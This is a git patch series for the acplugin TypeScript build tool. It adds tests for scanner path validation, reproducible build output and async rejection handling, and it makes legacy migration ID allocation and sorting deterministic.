'alpha']); + expect(forward).toEqual({ slots: { alpha: { saw: [] }, beta: { saw: ['alpha'] } } }); + expect(reverse).toEqual({ slots: { alpha: { saw: ['beta'] }, beta: { saw: [] } } }); + expect(forwardAgain).toEqual(forward); + expect(reverseAgain).toEqual(reverse); + }); + it('authorizes scanned Component files relative to project.root instead of process.cwd()', async () => { /** 与测试进程 cwd 不同且包含一个规范 Command 的工程根。 */ const root = await temporaryRoot(); diff --git a/packages/core/test/scanner.test.ts b/packages/core/test/scanner.test.ts index 1acea94..7269c85 100644 --- a/packages/core/test/scanner.test.ts +++ b/packages/core/test/scanner.test.ts @@ -208,6 +208,28 @@ Return evidence-backed findings. ])); }); + it('rejects string-array elements that are empty after trimming', async () => { + /** 依赖数组包含纯空白元素的临时规范工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/blank-requirement.md'), `--- +description: Reject a blank dependency. +requires: + skills: + - ' ' +--- +Validate dependencies. +`); + /** Scanner 应在通用 string-array 边界报告一致诊断。 */ + const diagnostics = new DiagnosticCollector(); + await scanProject(projectConfig(root), diagnostics); + + expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ + code: 'FRONTMATTER_STRING_ARRAY', + fieldPath: ['requires', 'skills'], + })); + }); + it('requires configured platforms, delegates field validation, and rejects legacy extensions', async () => { /** Validator 会通过受限出口报告专属字段错误的 Codex Platform。 */ const codex = testPlatform('codex', (context) => { @@ -300,6 +322,64 @@ Deploy. ])); }); + it('normalizes backslash Public targets and detects mixed-separator collisions', async () => { + /** 两个不同来源映射到仅分隔符写法不同的同一交付目标。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'public/a'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/b'), { recursive: true }); + await fs.writeFile(path.join(root, 'public/a/file.txt'), 'a'); + await fs.writeFile(path.join(root, 'public/b/file.txt'), 'b'); + /** 分隔符不同但语义目标相同的最终配置。 */ + const config = projectConfig(root, { + public: { + copy: [ + { from: 'a/file.txt', to: 'assets\\file.txt' }, + { from: 'b/file.txt', to: 'assets/file.txt' }, + ], + }, + }); + + /** Config 已统一 target,Scanner 仍负责最终来源碰撞诊断。 */ + expect(config.public.copy?.[0]?.to).toBe('assets/file.txt'); + /** 混合分隔符碰撞的 Scanner 诊断。 */ + const diagnostics = new DiagnosticCollector(); + /** 只保留首个目标的规范工程。 */ + const { project } = await scanProject(config, diagnostics); + expect(project.publicFiles.map(file => file.targetPath)).toEqual(['assets/file.txt']); + expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ code: 'PUBLIC_TARGET_COLLISION' })); + }); + + it('defensively rejects absolute, NUL, and mixed traversal Public targets', async () => { + /** 构造绕过配置解析边界的 ResolvedConfig,验证 Scanner 自身仍不信任 target。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'public'), { recursive: true }); + await fs.writeFile(path.join(root, 'public/file.txt'), 'public'); + /** 先通过公开解析器取得其余字段合法的基础配置。 */ + const base = projectConfig(root, { public: { copy: [{ from: 'file.txt', to: 'safe/file.txt' }] } }); + /** 模拟绕过配置阶段后直接传入 Core 的不可信 target 集合。 */ + const config = { + ...base, + public: { + ...base.public, + copy: [ + { from: 'file.txt', to: 'C:\\outside\\file.txt' }, + { from: 'file.txt', to: 'C:/outside/file.txt' }, + { from: 'file.txt', to: '\\\\server\\share\\file.txt' }, + { from: 'file.txt', to: '/outside/file.txt' }, + { from: 'file.txt', to: 'safe\\../file.txt' }, + { from: 'file.txt', to: 'safe/\0/file.txt' }, + ], + }, + }; + + /** Scanner 自身产生的第二层路径边界诊断。 */ + const diagnostics = new DiagnosticCollector(); + /** 所有不可信 Public 目标都被排除后的规范工程。 */ + const { project } = await scanProject(config, diagnostics); + expect(project.publicFiles).toEqual([]); + expect(diagnostics.diagnostics.filter(diagnostic => diagnostic.code === 'PUBLIC_TARGET_INVALID')).toHaveLength(6); + }); + it('does not follow a configured source directory symlink', async () => { /** 工程外部目录模拟符号链接可能造成的来源边界逃逸。 */ const external = await temporaryProject(); diff --git a/packages/test/test/build.test.ts b/packages/test/test/build.test.ts index c12eb58..beb5269 100644 --- a/packages/test/test/build.test.ts +++ b/packages/test/test/build.test.ts @@ -2,11 +2,52 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { codex, cursor, ProjectConfigError, runProject, type PlatformId } from '@tokenroll/acplugin'; +import { codex, cursor, ProjectConfigError, runProject, serializeBuildResult, type PlatformId } from '@tokenroll/acplugin'; /** 当前测试创建并在 afterEach 中统一删除的临时工程根目录。 */ const roots: string[] = []; +/** 完整受管输出树中的一个稳定文件快照。 */ +interface OutputFileSnapshot { + /** 使用 POSIX 分隔符的 dist 相对路径。 */ + readonly path: string; + /** 只保留 Artifact 契约关心的权限位。 */ + readonly mode: number; + /** 未文本化的真实文件字节。 */ + readonly bytes: Buffer; +} + +/** + * 递归读取完整 dist 文件树,供跨绝对根执行字节级比较。 + * + * @param directory 当前遍历目录。 + * @param outputRoot 受管输出根。 + * @returns 按 code-unit 路径排序的普通文件快照。 + */ +async function outputTree(directory: string, outputRoot: string = directory): Promise { + /** 当前目录按 code-unit 排序后的文件系统项。 */ + const entries = (await fs.readdir(directory, { withFileTypes: true })) + .sort((left, right) => left.name < right.name ? -1 : left.name > right.name ? 1 : 0); + /** 当前子树累计的普通文件快照。 */ + const files: OutputFileSnapshot[] = []; + for (const entry of entries) { + /** 当前目录项的绝对路径。 */ + const target = path.join(directory, entry.name); + if (entry.isDirectory()) { + files.push(...await outputTree(target, outputRoot)); + } else if (entry.isFile()) { + /** 当前输出文件的权限与真实字节。 */ + const stat = await fs.stat(target); + files.push({ + path: path.relative(outputRoot, target).split(path.sep).join('/'), + mode: stat.mode & 0o777, + bytes: await fs.readFile(target), + }); + } + } + return files; +} + /** * 创建包含最小 Skill 和可选自定义配置的测试工程。 * @@ -57,6 +98,32 @@ describe('unified pipeline', () => { await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); }); + it('keeps the complete dist tree, Artifact hashes, and report bytes stable across roots and unrelated environment values', async () => { + /** 相同字节工程使用的两个不同绝对根。 */ + const firstRoot = await project(); + /** 与第一个工程字节相同但绝对位置不同的第二个根。 */ + const secondRoot = await project(); + /** 测试结束后需要恢复的原始环境值。 */ + const previousEnvironment = process.env.ACPLUGIN_UNRELATED_FIXTURE; + try { + process.env.ACPLUGIN_UNRELATED_FIXTURE = 'first-machine-value'; + /** 第一个根和环境输入下的内置构建报告。 */ + const first = await runProject({ cwd: firstRoot, command: 'build', mode: 'production' }); + process.env.ACPLUGIN_UNRELATED_FIXTURE = 'second-machine-value'; + /** 第二个根和无关环境输入下的内置构建报告。 */ + const second = await runProject({ cwd: secondRoot, command: 'build', mode: 'production' }); + + expect(second.deliveryUnits).toEqual(first.deliveryUnits); + expect(serializeBuildResult(second)).toBe(serializeBuildResult(first)); + expect(await outputTree(path.join(secondRoot, 'dist'))).toEqual(await outputTree(path.join(firstRoot, 'dist'))); + } finally { + if (previousEnvironment === undefined) + delete process.env.ACPLUGIN_UNRELATED_FIXTURE; + else + process.env.ACPLUGIN_UNRELATED_FIXTURE = previousEnvironment; + } + }); + it('preserves the last complete dual-Platform output when either Platform fails', async () => { /** 先生成一份可用于失败回滚对比的完整默认输出。 */ const root = await project(); diff --git a/packages/test/test/ecosystem-contract.test.ts b/packages/test/test/ecosystem-contract.test.ts index 86156cb..4ca783e 100644 --- a/packages/test/test/ecosystem-contract.test.ts +++ b/packages/test/test/ecosystem-contract.test.ts @@ -1,6 +1,8 @@ +import { spawn } from 'node:child_process'; import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; +import { fileURLToPath } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; import { bytesArtifact, @@ -16,6 +18,9 @@ import { /** 生态契约测试创建并统一清理的临时工程。 */ const temporaryRoots: string[] = []; +/** 原生严格拒绝子进程直接加载的 Core 构建入口。 */ +const coreEntry = fileURLToPath(new URL('../../core/dist/index.mjs', import.meta.url)); + /** * 创建不包含内置 Platform 假设的空作者工程。 * @@ -142,4 +147,102 @@ describe('third-party ecosystem contract', () => { expect.objectContaining({ platform: 'ecosystem-fixture', field: 'name', disposition: 'emitted' }), ]); }); + + it('observes immediate Artifact rejection before an async Adapter failure in strict Node mode', async () => { + /** 子进程使用的空工程,确保生命周期可进入 Adapter 阶段。 */ + const root = await temporaryProject(); + /** 真实构建 Core 中创建立即碰撞 Promise、随后等待 timer 并抛错的 ESM 程序。 */ + const source = ` +import { + bytesArtifact, + defineExtension, + definePlatform, + executeLifecycle, + resolveConfig, +} from ${JSON.stringify(coreEntry)}; + +const platform = definePlatform({ + id: 'strict-rejection', + apiVersion: '1', + deliveryType: 'plugin', + prepare: () => ({ + documents: [{ + id: 'manifest', + path: 'manifest.json', + format: 'json', + owner: 'platform:strict-rejection', + value: {}, + extensionPoints: [], + }], + artifacts: [], + }), + generateBundle: context => ({ + id: 'plugin', role: 'primary', type: 'plugin', artifacts: context.artifacts, + }), + validateBundle: () => undefined, +}); +const extension = defineExtension({ + name: 'strict-rejection-extension', + apiVersion: '1', + discover: () => ({ enabled: true }), + adapters: [{ + extensionApiVersion: '1', + platform: platform.id, + platformApiVersion: '1', + async apply(context) { + context.emitArtifact(bytesArtifact('manifest.json', 'collision')); + await new Promise(resolve => setTimeout(resolve, 20)); + throw new Error('later Adapter failure'); + }, + }], +}); +const resolved = resolveConfig({ + name: 'strict-rejection-fixture', + version: '1.0.0', + description: 'Strict rejection fixture.', + public: false, + platforms: [platform], + extensions: [extension], +}, ${JSON.stringify(path.join(root, 'acplugin.config.ts'))}, 'validate', 'production', { defaultPlatforms: [platform] }); +if (!resolved.config) + throw new Error('Fixture config did not resolve.'); +const result = await executeLifecycle({ + config: resolved.config, + loadTypeScriptModule: async () => undefined, + environment: {}, +}); +process.stdout.write(JSON.stringify(result)); +`; + /** strict 模式会把任何短暂无 observer 的拒绝直接升级为进程失败。 */ + const execution = await new Promise<{ code: number | null; stdout: string; stderr: string }>((resolve, reject) => { + /** 使用原生 ESM 与严格拒绝策略执行真实 Core 构建产物。 */ + const child = spawn(process.execPath, ['--unhandled-rejections=strict', '--input-type=module', '--eval', source], { + stdio: ['ignore', 'pipe', 'pipe'], + }); + /** 子进程返回的唯一 JSON 构建结果。 */ + let stdout = ''; + /** 严格模式下不得出现未处理拒绝堆栈。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.on('error', reject); + child.on('close', code => resolve({ code, stdout, stderr })); + }); + + expect(execution.code).toBe(0); + expect(execution.stderr).toBe(''); + expect(JSON.parse(execution.stdout)).toEqual(expect.objectContaining({ + success: false, + committed: false, + diagnostics: expect.arrayContaining([ + expect.objectContaining({ code: 'PLATFORM_GENERATION_FAILED', platform: 'strict-rejection' }), + ]), + })); + }); }); From 79022a6f34f8b2007caaaa321b7193324deab4b1 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 13:44:32 +0800 Subject: [PATCH 05/27] fix(migration): make legacy conversion deterministic --- packages/acplugin/src/migration/index.ts | 184 ++++++++++++++---- .../acplugin/src/migration/legacy/utils/fs.ts | 22 ++- packages/test/test/migration.test.ts | 129 ++++++++++++ 3 files changed, 290 insertions(+), 45 deletions(-) diff --git a/packages/acplugin/src/migration/index.ts b/packages/acplugin/src/migration/index.ts index 67d3dba..99d196f 100644 --- a/packages/acplugin/src/migration/index.ts +++ b/packages/acplugin/src/migration/index.ts @@ -153,6 +153,19 @@ const FIELD_OUTCOME_RANK: Readonly> = { unmapped: 2, }; +/** + * 按 UTF-16 code unit 比较迁移报告与生成输入,不依赖宿主 locale/ICU。 + * + * @param left 左侧字符串。 + * @param right 右侧字符串。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** * 记录一个已发现字段的脱敏迁移结论。 * @@ -224,6 +237,60 @@ function safeId(value: string): string { return id || 'migrated-item'; } +/** 尚未分配最终 ID 的单个迁移资源及其稳定来源身份。 */ +interface MigrationIdCandidate { + /** 调用方需要与分配结果一起取回的原始资源。 */ + readonly value: T; + /** 资源名称规范化后的首选 ID。 */ + readonly baseId: string; + /** 不包含绝对根且能稳定打破同名冲突的逻辑来源路径。 */ + readonly sourcePath: string; +} + +/** 已获得唯一最终 ID 的迁移资源。 */ +interface AllocatedMigrationId extends MigrationIdCandidate { + /** 在当前资源类别 namespace 内唯一的最终 ID。 */ + readonly id: string; +} + +/** + * 为一个资源类别整体分配确定 ID,先保留显式 base 再选择未占用后缀。 + * + * @param candidates 同一 Command、Skill、Agent、MCP 或 workspace namespace 的全部候选。 + * @returns 按 base ID 和逻辑来源排序、且 ID 唯一的资源计划。 + */ +function allocateMigrationIds(candidates: readonly MigrationIdCandidate[]): AllocatedMigrationId[] { + /** 所有候选显式拥有的 base ID;冲突项不得抢占这些名称。 */ + const reserved = new Set(candidates.map(candidate => candidate.baseId)); + /** 已实际分配给前序候选的最终 ID。 */ + const assigned = new Set(); + /** 每个 base 下一次尝试的数字后缀。 */ + const nextSuffix = new Map(); + /** 与发现顺序无关的候选处理顺序。 */ + const ordered = [...candidates].sort((left, right) => + compareCodeUnits(left.baseId, right.baseId) + || compareCodeUnits(left.sourcePath, right.sourcePath)); + /** 完成 winner/后缀选择后再按最终 ID 固定写入与报告顺序。 */ + const allocated = ordered.map((candidate) => { + /** 当前候选优先使用的 base,冲突时再选择数字后缀。 */ + let id = candidate.baseId; + if (assigned.has(id)) { + /** 从 `-2` 开始且会跨候选记忆的当前后缀。 */ + let suffix = nextSuffix.get(candidate.baseId) ?? 2; + do { + id = `${candidate.baseId}-${suffix}`; + suffix += 1; + } while (reserved.has(id) || assigned.has(id)); + nextSuffix.set(candidate.baseId, suffix); + } + assigned.add(id); + return { ...candidate, id }; + }); + return allocated.sort((left, right) => + compareCodeUnits(left.id, right.id) + || compareCodeUnits(left.sourcePath, right.sourcePath)); +} + /** * 判断来源文本是否采用支持的 GitHub URL、前缀或 owner/repo 简写。 * @@ -276,7 +343,7 @@ function sortFrontmatter(value: unknown): unknown { if (value !== null && typeof value === 'object') { return Object.fromEntries(Object.entries(value as Record) .filter(entry => entry[1] !== undefined) - .sort(([left], [right]) => left.localeCompare(right, 'en')) + .sort(([left], [right]) => compareCodeUnits(left, right)) .map(([key, child]) => [key, sortFrontmatter(child)])); } return value; @@ -308,21 +375,20 @@ async function copyBytes(source: string, destination: string): Promise { * 把旧 Skill 及全部辅助文件迁移为规范 Skill 目录。 * * @param skill Legacy Scanner 读取的 Skill。 + * @param id 已在 Skill namespace 中完成冲突消歧的最终 ID。 * @param projectRoot 旧工程根目录。 * @param outputRoot 新规范工程的阶段目录。 * @param items 共享迁移报告条目数组。 * @returns 可与其他资源并行等待的文件写入任务。 */ -function migrateSkill(skill: Skill, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise[] { - /** 由旧目录名转换出的规范 Skill ID。 */ - const id = safeId(skill.dirName); +function migrateSkill(skill: Skill, id: string, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise[] { /** 当前 Skill 报告使用的稳定来源路径。 */ const source = relative(projectRoot, skill.sourcePath); /** 当前 Skill 全部已发现字段的保真记录。 */ const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', source, ID_PATTERN.test(skill.dirName) ? 'mapped' : 'degraded', ID_PATTERN.test(skill.dirName) + reportField(fields, 'name', source, ID_PATTERN.test(skill.dirName) && skill.dirName === id ? 'mapped' : 'degraded', ID_PATTERN.test(skill.dirName) && skill.dirName === id ? 'Directory identity maps directly to the canonical Skill ID.' - : 'Skill identity required lowercase kebab-case normalization.'); + : 'Skill identity required lowercase kebab-case normalization or a deterministic collision suffix.'); if (skill.frontmatter.name !== undefined) { reportField(fields, 'frontmatter.name', source, skill.frontmatter.name === id ? 'mapped' : 'degraded', skill.frontmatter.name === id ? 'Frontmatter identity agrees with the canonical directory identity.' @@ -458,7 +524,7 @@ function reportUnknownFields( allowed: ReadonlySet, ): void { /** field 表示当前需要进入人工迁移流程的旧字段。 */ - for (const field of Object.keys(data).sort((left, right) => left.localeCompare(right, 'en'))) { + for (const field of Object.keys(data).sort(compareCodeUnits)) { if (!allowed.has(field)) reportField(fields, field, source, 'unmapped', 'The legacy field has no canonical or verified Platform mapping.'); } @@ -468,21 +534,20 @@ function reportUnknownFields( * 把旧 Command Markdown 迁移为规范 Command,并转换参数占位符。 * * @param command Legacy Scanner 读取的 Command。 + * @param id 已在 Command namespace 中完成冲突消歧的最终 ID。 * @param projectRoot 旧工程根目录。 * @param outputRoot 新规范工程的阶段目录。 * @param items 共享迁移报告条目数组。 * @returns Command 文件写入任务。 */ -function migrateCommand(command: Command, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { - /** 由旧文件名转换出的规范 Command ID。 */ - const id = safeId(command.name); +function migrateCommand(command: Command, id: string, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { /** 当前 Command 报告使用的稳定来源路径。 */ const source = relative(projectRoot, command.sourcePath); /** 当前 Command 全部已发现字段的保真记录。 */ const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', source, ID_PATTERN.test(command.name) ? 'mapped' : 'degraded', ID_PATTERN.test(command.name) + reportField(fields, 'name', source, ID_PATTERN.test(command.name) && command.name === id ? 'mapped' : 'degraded', ID_PATTERN.test(command.name) && command.name === id ? 'Filename identity maps directly to the canonical Command ID.' - : 'Command identity required lowercase kebab-case normalization.'); + : 'Command identity required lowercase kebab-case normalization or a deterministic collision suffix.'); /** 解析 Frontmatter 后保留的 Command 正文。 */ let body = command.content; /** 优先读取旧描述,否则使用明确的迁移回退值。 */ @@ -621,21 +686,20 @@ function capabilitiesFromTools(tools: readonly string[]): AgentCapability[] { * 把旧 Agent Markdown 迁移为规范 Agent,并泛化平台模型名称。 * * @param agent Legacy Scanner 读取的 Agent。 + * @param id 已在 Agent namespace 中完成冲突消歧的最终 ID。 * @param projectRoot 旧工程根目录。 * @param outputRoot 新规范工程的阶段目录。 * @param items 共享迁移报告条目数组。 * @returns Agent 文件写入任务。 */ -function migrateAgent(agent: Agent, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { - /** 由旧文件名转换出的规范 Agent ID。 */ - const id = safeId(agent.fileName); +function migrateAgent(agent: Agent, id: string, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { /** 当前 Agent 报告使用的稳定来源路径。 */ const source = relative(projectRoot, agent.sourcePath); /** 当前 Agent 全部已发现字段的保真记录。 */ const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', source, ID_PATTERN.test(agent.fileName) ? 'mapped' : 'degraded', ID_PATTERN.test(agent.fileName) + reportField(fields, 'name', source, ID_PATTERN.test(agent.fileName) && agent.fileName === id ? 'mapped' : 'degraded', ID_PATTERN.test(agent.fileName) && agent.fileName === id ? 'Filename identity maps directly to the canonical Agent ID.' - : 'Agent identity required lowercase kebab-case normalization.'); + : 'Agent identity required lowercase kebab-case normalization or a deterministic collision suffix.'); if (agent.frontmatter.name !== undefined) { reportField(fields, 'frontmatter.name', source, agent.frontmatter.name === id ? 'mapped' : 'degraded', agent.frontmatter.name === id ? 'Frontmatter identity agrees with the canonical filename identity.' @@ -851,7 +915,7 @@ function hookReferenceCandidates(hooks: Hooks): string[] { } } } - return [...references].sort((a, b) => a.localeCompare(b, 'en')); + return [...references].sort(compareCodeUnits); } /** @@ -906,7 +970,7 @@ async function copyHookReference( if (stat.isDirectory()) { /** 按名称稳定递归的目录项。 */ const entries = await fs.readdir(source, { withFileTypes: true }); - for (const entry of entries.sort((a, b) => a.name.localeCompare(b.name, 'en'))) + for (const entry of entries.sort((a, b) => compareCodeUnits(a.name, b.name))) await copyHookReference(sourceRoot, path.join(relativePath, entry.name), outputRoot, items); return; } @@ -1167,7 +1231,7 @@ async function metadataFor(scan: ScanResult, options: MigrationOptions, items: M } } /** key 表示旧 author 中当前无法识别的额外字段。 */ - for (const key of Object.keys(authorRecord).sort((left, right) => left.localeCompare(right, 'en'))) { + for (const key of Object.keys(authorRecord).sort(compareCodeUnits)) { if (!['name', 'email', 'url'].includes(key)) reportField(fields, `author.${key}`, source, 'unmapped', 'Unknown author field has no canonical mapping.'); } @@ -1228,7 +1292,7 @@ async function metadataFor(scan: ScanResult, options: MigrationOptions, items: M if (plugin?.meta.apps !== undefined) reportField(fields, 'apps', source, 'unmapped', 'Legacy apps are outside the acplugin 1.0 component contract.'); /** field 表示当前没有统一元数据或安全自动映射的旧 interface 字段。 */ - for (const field of Object.keys(pluginInterface ?? {}).sort((left, right) => left.localeCompare(right, 'en'))) { + for (const field of Object.keys(pluginInterface ?? {}).sort(compareCodeUnits)) { if (!['displayName', 'shortDescription', 'longDescription', 'developerName', 'websiteURL'].includes(field)) reportField(fields, `interface.${field}`, source, 'unmapped', 'The Marketplace interface field requires explicit Platform configuration.'); } @@ -1347,14 +1411,32 @@ async function writeCanonicalProject( const metadata = await metadataFor(scan, options, items); // 即使旧来源只有未映射资源,也要保留合法的空 src 根以通过最终 Core 空状态校验。 await fs.mkdir(path.join(outputRoot, 'src'), { recursive: true }); + /** 先整体分配 Skill ID,避免规范化冲突覆盖显式 ID 或依赖扫描顺序。 */ + const skills = allocateMigrationIds(scan.skills.map(skill => ({ + value: skill, + baseId: safeId(skill.dirName), + sourcePath: relative(scan.rootDir, skill.sourcePath), + }))); + /** Command 使用独立 namespace,不与 Skill/Agent 的同名资源冲突。 */ + const commands = allocateMigrationIds(scan.commands.map(command => ({ + value: command, + baseId: safeId(command.name), + sourcePath: relative(scan.rootDir, command.sourcePath), + }))); + /** Agent 使用独立 namespace,并在报告冻结前确定最终 destination。 */ + const agents = allocateMigrationIds(scan.agents.map(agent => ({ + value: agent, + baseId: safeId(agent.fileName), + sourcePath: relative(scan.rootDir, agent.sourcePath), + }))); /** Skills、Commands 与 Agents 的并行写入任务。 */ const writes: Promise[] = []; - for (const skill of scan.skills) - writes.push(...migrateSkill(skill, scan.rootDir, outputRoot, items)); - for (const command of scan.commands) - writes.push(migrateCommand(command, scan.rootDir, outputRoot, items)); - for (const agent of scan.agents) - writes.push(migrateAgent(agent, scan.rootDir, outputRoot, items)); + for (const skill of skills) + writes.push(...migrateSkill(skill.value, skill.id, scan.rootDir, outputRoot, items)); + for (const command of commands) + writes.push(migrateCommand(command.value, command.id, scan.rootDir, outputRoot, items)); + for (const agent of agents) + writes.push(migrateAgent(agent.value, agent.id, scan.rootDir, outputRoot, items)); await Promise.all(writes); for (const [index, instruction] of scan.instructions.entries()) { @@ -1370,9 +1452,19 @@ async function writeCanonicalProject( /** 是否至少自动迁移了一个安全远程 MCP,并需要启用官方 Extension。 */ let usesMcp = false; - for (const server of scan.mcp?.servers ?? []) { - /** 由旧 Server 名称转换出的规范 MCP ID。 */ - const id = safeId(server.name); + /** 同一配置文件中的 MCP key 使用名称补充逻辑来源,确保排序和冲突消歧稳定。 */ + const mcpSourcePath = scan.mcp === null ? undefined : relative(scan.rootDir, scan.mcp?.sourcePath ?? scan.rootDir); + /** MCP 使用自己的 namespace,显式 `foo-2` 不会被重复 `foo` 抢占。 */ + const servers = allocateMigrationIds((scan.mcp?.servers ?? []).map(server => ({ + value: server, + baseId: safeId(server.name), + sourcePath: `${mcpSourcePath ?? '.'}\0${server.name}`, + }))); + for (const allocated of servers) { + /** 当前已完成确定性 ID 分配的 Legacy MCP Server。 */ + const server = allocated.value; + /** 当前 MCP namespace 中唯一的最终 ID。 */ + const id = allocated.id; /** 满足安全自动迁移条件时生成的类型化描述源码。 */ const source = remoteMcpSource(server); /** MCP 字段报告共同使用的旧配置相对路径。 */ @@ -1383,12 +1475,12 @@ async function writeCanonicalProject( await copyText(path.join(outputRoot, destination), source); /** 安全远程 MCP 的全部声明字段。 */ const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) + reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) && server.name === id ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) && server.name === id ? 'Server key maps directly to the canonical MCP ID.' - : 'Server identity required lowercase kebab-case normalization.'); + : 'Server identity required lowercase kebab-case normalization or a deterministic collision suffix.'); reportField(fields, 'transport', sourcePath, 'mapped', 'Remote HTTP transport maps to the canonical MCP descriptor.'); reportField(fields, 'url', sourcePath, 'mapped', 'Credential-free HTTPS URL maps to the canonical MCP descriptor.'); - for (const name of Object.keys(server.headers ?? {}).sort((left, right) => left.localeCompare(right, 'en'))) { + for (const name of Object.keys(server.headers ?? {}).sort(compareCodeUnits)) { reportField(fields, `headers.${name}`, sourcePath, 'mapped', name.toLowerCase() === 'authorization' ? 'Environment-only Authorization maps to canonical bearer auth without reading the secret.' : 'Environment-only header maps without reading the secret value.'); @@ -1400,17 +1492,17 @@ async function writeCanonicalProject( const destination = await unmapped(outputRoot, 'mcp', `${id}.json`, stableJson({ [server.name]: redactedMcpServer(server) })); /** 无法自动迁移的 MCP 仍逐个报告实际存在字段,且不复制任何值。 */ const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) + reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) && server.name === id ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) && server.name === id ? 'Server key maps to the migration record identity.' - : 'Server identity required lowercase kebab-case normalization.'); + : 'Server identity required lowercase kebab-case normalization or a deterministic collision suffix.'); for (const field of ['command', 'args', 'type', 'url'] as const) { if (server[field] !== undefined) { reportField(fields, field, sourcePath, 'unmapped', 'This MCP field requires a complete canonical implementation or a supported safe remote declaration.'); } } - for (const name of Object.keys(server.env ?? {}).sort((left, right) => left.localeCompare(right, 'en'))) + for (const name of Object.keys(server.env ?? {}).sort(compareCodeUnits)) reportField(fields, `env.${name}`, sourcePath, 'unmapped', 'Local MCP environment mapping is preserved only in the redacted sidecar.'); - for (const name of Object.keys(server.headers ?? {}).sort((left, right) => left.localeCompare(right, 'en'))) + for (const name of Object.keys(server.headers ?? {}).sort(compareCodeUnits)) reportField(fields, `headers.${name}`, sourcePath, 'unmapped', 'Unsafe or literal MCP header is preserved only as a redacted field name.'); items.push(migrationItem({ kind: 'mcp', id, source: sourcePath, destination }, fields)); } @@ -1422,7 +1514,7 @@ async function writeCanonicalProject( /** Legacy Scanner 保留的 Hooks 配置精确来源路径。 */ const source = scan.hooksSourcePath === undefined ? '.' : relative(scan.rootDir, scan.hooksSourcePath); /** 每个旧事件分别进入字段报告,避免聚合配置掩盖丢失范围。 */ - const fields = Object.keys(scan.hooks).sort((left, right) => left.localeCompare(right, 'en')).map(event => ({ + const fields = Object.keys(scan.hooks).sort(compareCodeUnits).map(event => ({ field: `event:${event}`, source, destination, outcome: 'unmapped', reason: 'Raw legacy Hook event requires manual typed handler migration.', })); @@ -1589,14 +1681,22 @@ export async function migrate(options: MigrationOptions): Promise or --all.'); if (options.all) { + /** 所有 workspace 成员先全局预留 base,避免目录覆盖和后缀抢占。 */ + const workspaceProjects = allocateMigrationIds(selected.map(plugin => ({ + value: plugin, + baseId: safeId(plugin.meta.name), + sourcePath: relative(sourceRoot, plugin.rootDir), + }))); // 只有批量迁移创建 workspace;每个成员仍是带独立配置的单 Plugin 工程。 - for (const plugin of selected) { - /** Marketplace 工作区成员使用的规范目录 ID。 */ - const id = safeId(plugin.meta.name); + for (const allocated of workspaceProjects) { + /** 当前已完成全局目录 ID 分配的 Marketplace Plugin。 */ + const plugin = allocated.value; + /** Marketplace 工作区成员使用的唯一规范目录 ID。 */ + const id = allocated.id; /** 当前成员在迁移阶段目录中的根路径。 */ const projectRoot = path.join(stage, id); /** 当前成员生成和重新扫描的结果。 */ - const result = await writeCanonicalProject(plugin, projectRoot, options); + const result = await writeCanonicalProject(plugin, projectRoot, { ...options, name: id }); items.push(...result.items.map((item) => { /** Workspace 成员前缀必须同时应用到资源与每个字段的目标路径。 */ const destination = item.destination ? `${id}/${item.destination}` : undefined; diff --git a/packages/acplugin/src/migration/legacy/utils/fs.ts b/packages/acplugin/src/migration/legacy/utils/fs.ts index cf80fb5..3857279 100644 --- a/packages/acplugin/src/migration/legacy/utils/fs.ts +++ b/packages/acplugin/src/migration/legacy/utils/fs.ts @@ -1,6 +1,19 @@ import * as fs from 'fs'; import * as path from 'path'; +/** + * 按 UTF-16 code unit 比较容错 Legacy Scanner 的目录项名称。 + * + * @param left 左侧名称。 + * @param right 右侧名称。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** * 递归创建 Legacy Scanner 或迁移写入所需目录。 * @@ -55,7 +68,8 @@ export function fileExists(filePath: string): boolean { export function listFiles(dir: string, pattern?: string): string[] { if (!fs.existsSync(dir)) return []; /** 当前目录的一级目录项。 */ - const entries = fs.readdirSync(dir, { withFileTypes: true, recursive: false }); + const entries = fs.readdirSync(dir, { withFileTypes: true, recursive: false }) + .sort((left, right) => compareCodeUnits(left.name, right.name)); return entries .filter(e => e.isFile() && (!pattern || e.name.match(new RegExp(pattern)))) .map(e => path.join(dir, e.name)); @@ -70,7 +84,8 @@ export function listFiles(dir: string, 